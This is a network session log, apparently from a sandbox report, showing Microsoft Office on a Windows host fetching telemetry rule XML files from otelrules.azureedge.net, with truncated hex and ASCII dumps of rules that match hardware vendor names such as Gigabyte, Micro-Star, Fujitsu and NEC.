2024-12-02 06:37:26 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:25 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 1bd8560b-501e-0035-2074-40c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063726Z-174f7845968pf68xhC1EWRr4h800000014a0000000005hs0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:25 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:26 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: a11b7610-d01e-00ad-11d5-43e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063726Z-174f78459684bddphC1EWRbht400000013r000000000b7qb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:26 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:25 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:26 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: ef6c78e4-401e-0067-2ec7-4309c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063726Z-174f784596886s2bhC1EWR743w000000140g00000000bgx0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:26 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:28 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:28 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:28 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 7732d518-401e-0035-4c64-4482d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063728Z-174f78459685726chC1EWRsnbg000000143g000000005xw5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:37:28 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:28 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:28 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 264c510b-001e-000b-0eb2-4215a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063728Z-174f7845968xlwnmhC1EWR0sv800000013z00000000028y8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:37:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:28 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: e044a7be-f01e-003c-0c76-438cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063728Z-174f7845968xlwnmhC1EWR0sv800000013y0000000003knf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:28 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 6eee8137-f01e-0096-4bb4-4210ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063728Z-174f78459684db9fhC1EWRc7g400000004400000000036uk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:28 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:28 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 3f7caad5-701e-006f-6962-43afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063728Z-174f7845968j6t2phC1EWRcfe80000001490000000002aek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:28 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:30 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:30 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: ff709020-001e-005a-1caf-42c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063730Z-174f7845968nxc96hC1EWRspw800000013u00000000054k0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:30 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:30 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:30 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 1e31e9ea-701e-0098-028a-43395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063730Z-174f7845968cpnpfhC1EWR3afc00000013n0000000009uf5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:30 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:30 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:30 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: e7678828-401e-0078-7a85-434d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063730Z-174f7845968frfdmhC1EWRxxbw000000143g000000006h59 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:30 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
